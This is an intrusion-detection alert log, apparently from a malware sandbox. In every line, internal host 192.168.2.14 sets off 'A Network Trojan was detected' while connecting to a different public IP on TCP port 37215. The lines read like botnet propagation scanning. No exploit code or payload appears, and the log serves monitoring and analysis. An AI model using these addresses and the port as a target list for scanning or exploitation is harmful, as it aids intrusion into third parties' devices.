2025-02-12T16:53:19.089074+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51370	41.173.32.17	37215	TCP
2025-02-12T16:53:19.123017+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38312	197.175.15.210	37215	TCP
2025-02-12T16:53:19.123031+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57256	197.69.170.0	37215	TCP
2025-02-12T16:53:19.123054+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43768	41.34.247.120	37215	TCP
2025-02-12T16:53:19.123091+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47974	157.17.137.91	37215	TCP
2025-02-12T16:53:19.123097+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53222	157.175.20.8	37215	TCP
2025-02-12T16:53:19.123106+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38634	157.155.1.160	37215	TCP
2025-02-12T16:53:19.123124+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51420	197.202.81.142	37215	TCP
2025-02-12T16:53:19.123124+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45758	157.231.221.203	37215	TCP
2025-02-12T16:53:19.123138+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49724	73.121.177.138	37215	TCP
2025-02-12T16:53:20.945861+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43212	78.164.154.212	37215	TCP
2025-02-12T16:53:22.867414+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33182	145.239.29.144	37215	TCP
2025-02-12T16:53:25.507250+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49898	157.20.214.240	37215	TCP
2025-02-12T16:53:26.901720+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33152	197.107.8.219	37215	TCP
2025-02-12T16:53:26.902045+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39798	8.75.19.147	37215	TCP
2025-02-12T16:53:26.902917+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58114	41.148.75.12	37215	TCP
2025-02-12T16:53:26.903627+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55864	157.99.93.165	37215	TCP
2025-02-12T16:53:26.904883+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43750	157.146.9.144	37215	TCP
2025-02-12T16:53:26.916783+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55422	197.136.183.250	37215	TCP
2025-02-12T16:53:26.917603+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49936	41.173.117.20	37215	TCP
2025-02-12T16:53:26.918414+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34562	157.121.247.28	37215	TCP
2025-02-12T16:53:26.919914+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56590	41.253.86.197	37215	TCP
2025-02-12T16:53:26.920714+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44412	61.52.59.36	37215	TCP
2025-02-12T16:53:26.921026+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42648	157.127.179.75	37215	TCP
2025-02-12T16:53:26.922132+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40702	84.74.210.199	37215	TCP
2025-02-12T16:53:26.922815+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55426	157.31.155.21	37215	TCP
2025-02-12T16:53:26.923184+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39038	157.72.40.158	37215	TCP
2025-02-12T16:53:26.923707+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46710	157.112.178.1	37215	TCP
2025-02-12T16:53:26.923848+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37478	197.141.174.201	37215	TCP
2025-02-12T16:53:26.932283+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51670	197.6.103.19	37215	TCP
2025-02-12T16:53:26.932586+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40412	197.7.202.143	37215	TCP
2025-02-12T16:53:26.933149+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54478	54.170.162.98	37215	TCP
2025-02-12T16:53:26.933427+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59930	157.195.117.128	37215	TCP
2025-02-12T16:53:26.933816+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37820	41.229.115.76	37215	TCP
2025-02-12T16:53:26.934398+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41634	197.186.123.178	37215	TCP
2025-02-12T16:53:26.935971+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38924	123.222.79.172	37215	TCP
2025-02-12T16:53:26.936256+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55564	8.233.234.244	37215	TCP
2025-02-12T16:53:26.936901+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50412	85.9.48.68	37215	TCP
2025-02-12T16:53:26.963670+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49218	41.56.125.44	37215	TCP
2025-02-12T16:53:26.963759+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41522	41.17.220.237	37215	TCP
2025-02-12T16:53:26.967419+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58822	197.126.118.76	37215	TCP
2025-02-12T16:53:26.967531+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52836	134.19.93.104	37215	TCP
2025-02-12T16:53:26.979286+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44170	41.221.14.128	37215	TCP
2025-02-12T16:53:26.979777+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56324	157.238.15.238	37215	TCP
2025-02-12T16:53:26.979981+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51544	41.101.12.74	37215	TCP
2025-02-12T16:53:26.980090+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53776	157.63.127.197	37215	TCP
2025-02-12T16:53:26.980415+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60222	157.236.176.153	37215	TCP
2025-02-12T16:53:26.980523+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48320	197.109.199.188	37215	TCP
2025-02-12T16:53:26.981688+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33056	197.179.221.19	37215	TCP
2025-02-12T16:53:26.994834+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38518	197.48.228.241	37215	TCP
2025-02-12T16:53:26.994834+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46164	197.112.150.169	37215	TCP
2025-02-12T16:53:26.995451+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52830	41.11.131.79	37215	TCP
2025-02-12T16:53:26.995934+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54376	73.189.25.125	37215	TCP
2025-02-12T16:53:26.996368+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43858	78.6.207.62	37215	TCP
2025-02-12T16:53:26.997035+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38408	157.50.46.62	37215	TCP
2025-02-12T16:53:26.998619+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47398	41.25.245.214	37215	TCP
2025-02-12T16:53:27.000777+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60384	197.50.90.26	37215	TCP
2025-02-12T16:53:27.010608+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47596	41.6.125.222	37215	TCP
2025-02-12T16:53:27.011265+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52848	41.105.117.90	37215	TCP
2025-02-12T16:53:27.011434+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37932	41.246.0.114	37215	TCP
2025-02-12T16:53:27.012203+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44820	157.190.154.222	37215	TCP
2025-02-12T16:53:27.013610+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45364	157.92.111.99	37215	TCP
2025-02-12T16:53:27.014564+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59842	41.149.130.38	37215	TCP
2025-02-12T16:53:27.015114+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59780	197.168.60.254	37215	TCP
2025-02-12T16:53:27.015400+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45734	157.130.14.216	37215	TCP
2025-02-12T16:53:27.015865+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49394	41.230.175.24	37215	TCP
2025-02-12T16:53:27.015924+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38410	157.47.195.245	37215	TCP
2025-02-12T16:53:27.025879+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33900	101.188.252.169	37215	TCP
2025-02-12T16:53:27.026088+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56392	197.28.249.46	37215	TCP
2025-02-12T16:53:27.026237+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43542	157.163.171.29	37215	TCP
2025-02-12T16:53:27.027592+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39674	32.22.180.90	37215	TCP
2025-02-12T16:53:27.029689+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40082	41.218.25.240	37215	TCP
2025-02-12T16:53:27.045362+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58990	48.233.243.198	37215	TCP
2025-02-12T16:53:27.045694+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53960	157.38.55.250	37215	TCP
2025-02-12T16:53:27.057552+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41576	41.78.178.106	37215	TCP
2025-02-12T16:53:27.057686+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52702	157.55.55.174	37215	TCP
2025-02-12T16:53:27.057703+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33854	197.106.162.107	37215	TCP
2025-02-12T16:53:27.058521+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59184	197.54.242.189	37215	TCP
2025-02-12T16:53:27.058570+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57564	200.90.130.189	37215	TCP
2025-02-12T16:53:27.059505+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40626	157.168.10.0	37215	TCP
2025-02-12T16:53:27.061177+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37616	157.251.141.223	37215	TCP
2025-02-12T16:53:27.061441+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39218	180.13.186.193	37215	TCP
2025-02-12T16:53:27.073986+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54394	157.119.213.21	37215	TCP
2025-02-12T16:53:27.074392+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43058	157.152.7.9	37215	TCP
2025-02-12T16:53:27.075147+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32942	197.104.222.212	37215	TCP
2025-02-12T16:53:27.075182+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45894	157.220.50.26	37215	TCP
2025-02-12T16:53:27.075272+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38982	157.72.147.33	37215	TCP
2025-02-12T16:53:27.075697+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39364	157.71.110.167	37215	TCP
2025-02-12T16:53:27.075697+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46624	157.124.135.180	37215	TCP
2025-02-12T16:53:27.075843+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33624	157.241.46.59	37215	TCP
2025-02-12T16:53:27.075861+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47402	191.231.207.119	37215	TCP
2025-02-12T16:53:27.076045+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51832	66.208.46.105	37215	TCP
2025-02-12T16:53:27.076076+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47632	2.26.73.91	37215	TCP
2025-02-12T16:53:27.076247+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54946	197.163.29.102	37215	TCP
2025-02-12T16:53:27.076412+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35654	41.129.128.165	37215	TCP
2025-02-12T16:53:27.076792+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49558	34.103.248.46	37215	TCP
2025-02-12T16:53:27.076946+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38766	44.234.214.76	37215	TCP
2025-02-12T16:53:27.077069+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32824	50.230.150.192	37215	TCP
2025-02-12T16:53:27.077395+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49840	41.225.3.190	37215	TCP
2025-02-12T16:53:27.077615+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50106	63.234.89.216	37215	TCP
2025-02-12T16:53:27.077947+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42762	157.216.186.83	37215	TCP
2025-02-12T16:53:27.077958+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48606	197.192.67.27	37215	TCP
2025-02-12T16:53:27.090300+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35848	41.99.74.218	37215	TCP
2025-02-12T16:53:27.090306+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38052	41.137.146.48	37215	TCP
2025-02-12T16:53:27.090621+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41140	41.252.45.28	37215	TCP
2025-02-12T16:53:27.090937+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43410	157.109.12.138	37215	TCP
2025-02-12T16:53:27.090951+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50614	41.7.108.191	37215	TCP
2025-02-12T16:53:27.091263+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53048	197.178.155.12	37215	TCP
2025-02-12T16:53:27.091282+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38356	157.59.8.16	37215	TCP
2025-02-12T16:53:27.091895+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59128	197.163.238.214	37215	TCP
2025-02-12T16:53:27.092256+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54258	1.32.126.118	37215	TCP
2025-02-12T16:53:27.092550+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43860	197.218.111.74	37215	TCP
2025-02-12T16:53:27.092562+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52708	41.246.152.235	37215	TCP
2025-02-12T16:53:27.093024+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43412	41.157.154.239	37215	TCP
2025-02-12T16:53:27.093035+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59908	157.150.167.151	37215	TCP
2025-02-12T16:53:27.093203+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51254	41.245.185.171	37215	TCP
2025-02-12T16:53:27.093204+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47400	157.23.14.51	37215	TCP
2025-02-12T16:53:27.093218+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50990	157.171.212.19	37215	TCP
2025-02-12T16:53:27.093252+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33440	157.91.205.244	37215	TCP
2025-02-12T16:53:27.093272+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45862	197.63.186.127	37215	TCP
2025-02-12T16:53:27.093302+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57456	41.186.50.228	37215	TCP
2025-02-12T16:53:27.093324+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51518	115.90.49.37	37215	TCP
2025-02-12T16:53:27.093340+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39054	157.39.170.195	37215	TCP
2025-02-12T16:53:27.093381+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57924	197.54.240.89	37215	TCP
2025-02-12T16:53:27.093405+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49652	197.249.29.151	37215	TCP
2025-02-12T16:53:27.093423+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32838	197.152.186.182	37215	TCP
2025-02-12T16:53:27.093839+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60108	93.183.61.193	37215	TCP
2025-02-12T16:53:27.093860+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43738	157.207.102.185	37215	TCP
2025-02-12T16:53:27.093902+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51336	197.89.235.248	37215	TCP
2025-02-12T16:53:27.093912+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59312	45.184.191.155	37215	TCP
2025-02-12T16:53:27.093943+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51326	41.91.37.147	37215	TCP
2025-02-12T16:53:27.093972+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38932	197.181.197.79	37215	TCP
2025-02-12T16:53:27.093985+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43092	157.48.115.241	37215	TCP
2025-02-12T16:53:27.094006+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47266	156.67.193.66	37215	TCP
2025-02-12T16:53:27.094179+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54012	41.46.181.102	37215	TCP
2025-02-12T16:53:27.094198+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54560	157.161.244.4	37215	TCP
2025-02-12T16:53:27.094223+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49686	157.206.203.8	37215	TCP
2025-02-12T16:53:27.094243+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36878	157.175.1.57	37215	TCP
2025-02-12T16:53:27.094268+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39434	197.0.234.72	37215	TCP
2025-02-12T16:53:27.094298+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60496	41.234.3.147	37215	TCP
2025-02-12T16:53:27.094510+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40630	157.65.31.53	37215	TCP
2025-02-12T16:53:27.094670+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52178	41.187.22.192	37215	TCP
2025-02-12T16:53:27.108166+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58066	168.171.94.48	37215	TCP
2025-02-12T16:53:27.108328+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47428	197.112.24.157	37215	TCP
2025-02-12T16:53:27.427127+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37832	197.157.195.158	37215	TCP
2025-02-12T16:53:29.140694+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36964	41.178.163.26	37215	TCP
2025-02-12T16:53:30.088565+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50604	41.28.122.11	37215	TCP
2025-02-12T16:53:30.105742+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60884	157.84.41.1	37215	TCP
2025-02-12T16:53:30.108033+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36638	141.31.250.160	37215	TCP
2025-02-12T16:53:30.124181+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51554	197.194.29.50	37215	TCP
2025-02-12T16:53:30.135584+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50860	157.59.235.163	37215	TCP
2025-02-12T16:53:30.135645+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40998	164.104.94.75	37215	TCP
2025-02-12T16:53:30.460605+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47670	41.76.103.90	37215	TCP
2025-02-12T16:53:31.153213+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53074	44.179.28.161	37215	TCP
2025-02-12T16:53:31.153304+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43794	41.73.129.99	37215	TCP
2025-02-12T16:53:31.186768+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39724	157.5.143.240	37215	TCP
2025-02-12T16:53:31.431221+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33336	197.218.178.227	37215	TCP
2025-02-12T16:53:31.431230+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42110	41.80.18.241	37215	TCP
2025-02-12T16:53:31.431242+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51928	4.38.82.245	37215	TCP
2025-02-12T16:53:32.151311+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36498	197.163.46.211	37215	TCP
2025-02-12T16:53:32.151440+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49556	50.15.129.57	37215	TCP
2025-02-12T16:53:32.153316+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50688	197.254.230.195	37215	TCP
2025-02-12T16:53:32.169164+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45096	157.53.111.2	37215	TCP
2025-02-12T16:53:32.184116+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59182	64.244.204.171	37215	TCP
2025-02-12T16:53:32.184645+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39968	197.185.240.195	37215	TCP
2025-02-12T16:53:32.186512+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59536	197.24.116.112	37215	TCP
2025-02-12T16:53:32.233626+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45040	157.27.47.251	37215	TCP
2025-02-12T16:53:33.151287+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38148	94.32.135.83	37215	TCP
2025-02-12T16:53:33.182499+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57128	197.17.242.136	37215	TCP
2025-02-12T16:53:33.182584+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60308	120.230.124.16	37215	TCP
2025-02-12T16:53:33.183152+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48640	41.234.192.27	37215	TCP
2025-02-12T16:53:33.231127+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47168	41.61.145.181	37215	TCP
2025-02-12T16:53:33.231192+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40768	41.48.22.199	37215	TCP
2025-02-12T16:53:33.233035+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57484	159.226.3.29	37215	TCP
2025-02-12T16:53:34.182945+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60026	41.237.208.83	37215	TCP
2025-02-12T16:53:34.184207+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59888	86.56.13.210	37215	TCP
2025-02-12T16:53:34.186152+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59562	41.192.53.15	37215	TCP
2025-02-12T16:53:34.198112+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51650	41.193.107.235	37215	TCP
2025-02-12T16:53:34.201742+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33782	218.162.115.147	37215	TCP
2025-02-12T16:53:34.201807+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53892	197.79.235.73	37215	TCP
2025-02-12T16:53:34.215546+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33974	197.171.245.196	37215	TCP
2025-02-12T16:53:34.230983+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42458	157.211.156.72	37215	TCP
2025-02-12T16:53:34.231063+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35370	41.210.201.232	37215	TCP
2025-02-12T16:53:34.293794+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41698	157.76.209.7	37215	TCP
2025-02-12T16:53:34.346103+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46212	197.212.150.25	37215	TCP
2025-02-12T16:53:34.354984+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53520	197.98.7.236	37215	TCP
2025-02-12T16:53:34.370208+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43976	141.238.167.79	37215	TCP
2025-02-12T16:53:34.370947+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33982	41.99.14.215	37215	TCP
2025-02-12T16:53:34.371914+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56510	41.8.144.198	37215	TCP
2025-02-12T16:53:34.386218+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44098	117.200.7.49	37215	TCP
2025-02-12T16:53:34.387210+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33416	102.205.162.85	37215	TCP
2025-02-12T16:53:35.229392+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48266	41.191.173.152	37215	TCP
2025-02-12T16:53:35.262359+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54182	41.254.85.243	37215	TCP
2025-02-12T16:53:36.229438+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60324	157.153.153.144	37215	TCP
2025-02-12T16:53:36.229660+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39188	157.29.199.165	37215	TCP
2025-02-12T16:53:36.260796+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38474	41.103.78.118	37215	TCP
2025-02-12T16:53:36.260998+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59976	149.175.39.185	37215	TCP
2025-02-12T16:53:36.261604+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49654	114.51.72.51	37215	TCP
2025-02-12T16:53:36.262579+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59316	109.10.65.62	37215	TCP
2025-02-12T16:53:36.292072+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49126	57.157.121.140	37215	TCP
2025-02-12T16:53:36.308606+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46612	197.29.129.148	37215	TCP
2025-02-12T16:53:36.345920+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59348	197.246.25.32	37215	TCP
2025-02-12T16:53:36.346023+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48934	41.171.197.52	37215	TCP
2025-02-12T16:53:36.346028+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38256	197.233.23.179	37215	TCP
2025-02-12T16:53:36.355151+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38550	157.19.245.227	37215	TCP
2025-02-12T16:53:36.355220+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53074	41.228.249.212	37215	TCP
2025-02-12T16:53:36.373834+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44872	157.195.100.85	37215	TCP
2025-02-12T16:53:36.389498+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45904	41.117.153.63	37215	TCP
2025-02-12T16:53:36.391466+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48672	197.197.49.205	37215	TCP
2025-02-12T16:53:37.261317+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60818	66.246.66.93	37215	TCP
2025-02-12T16:53:37.262248+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40290	41.116.112.232	37215	TCP
2025-02-12T16:53:37.262991+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39824	105.180.84.65	37215	TCP
2025-02-12T16:53:37.295812+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49320	157.192.28.118	37215	TCP
2025-02-12T16:53:37.295935+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52710	197.53.68.43	37215	TCP
2025-02-12T16:53:37.309214+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56176	41.229.251.68	37215	TCP
2025-02-12T16:53:37.309392+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51970	157.237.60.79	37215	TCP
2025-02-12T16:53:37.309415+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40244	197.134.243.243	37215	TCP
2025-02-12T16:53:37.309536+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40718	197.12.104.226	37215	TCP
2025-02-12T16:53:37.311410+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37290	197.47.98.218	37215	TCP
2025-02-12T16:53:37.388407+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42676	157.26.125.81	37215	TCP
2025-02-12T16:53:37.401192+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53572	197.81.96.88	37215	TCP
2025-02-12T16:53:37.401258+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56682	157.72.254.132	37215	TCP
2025-02-12T16:53:37.418990+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33902	157.101.103.53	37215	TCP
2025-02-12T16:53:37.422918+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44326	177.162.38.249	37215	TCP
2025-02-12T16:53:38.432491+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40874	197.164.210.232	37215	TCP
2025-02-12T16:53:38.432589+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43574	143.222.45.181	37215	TCP
2025-02-12T16:53:38.432733+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51052	157.114.24.137	37215	TCP
2025-02-12T16:53:38.432739+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36726	197.194.14.211	37215	TCP
2025-02-12T16:53:38.432831+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48784	197.14.250.123	37215	TCP
2025-02-12T16:53:38.432912+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59004	157.71.93.122	37215	TCP
2025-02-12T16:53:38.433028+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58176	41.23.203.85	37215	TCP
2025-02-12T16:53:38.433073+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52932	197.251.43.151	37215	TCP
2025-02-12T16:53:38.433147+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54654	41.127.139.167	37215	TCP
2025-02-12T16:53:38.433308+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58164	197.207.95.254	37215	TCP
2025-02-12T16:53:38.433322+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41878	157.33.48.121	37215	TCP
2025-02-12T16:53:38.435411+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60942	68.106.179.203	37215	TCP
2025-02-12T16:53:38.450089+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60320	157.65.1.13	37215	TCP
2025-02-12T16:53:38.450348+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53576	197.21.125.209	37215	TCP
2025-02-12T16:53:38.451886+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43418	197.225.27.182	37215	TCP
2025-02-12T16:53:38.469350+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40802	157.89.57.32	37215	TCP
2025-02-12T16:53:39.308385+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55302	41.115.71.233	37215	TCP
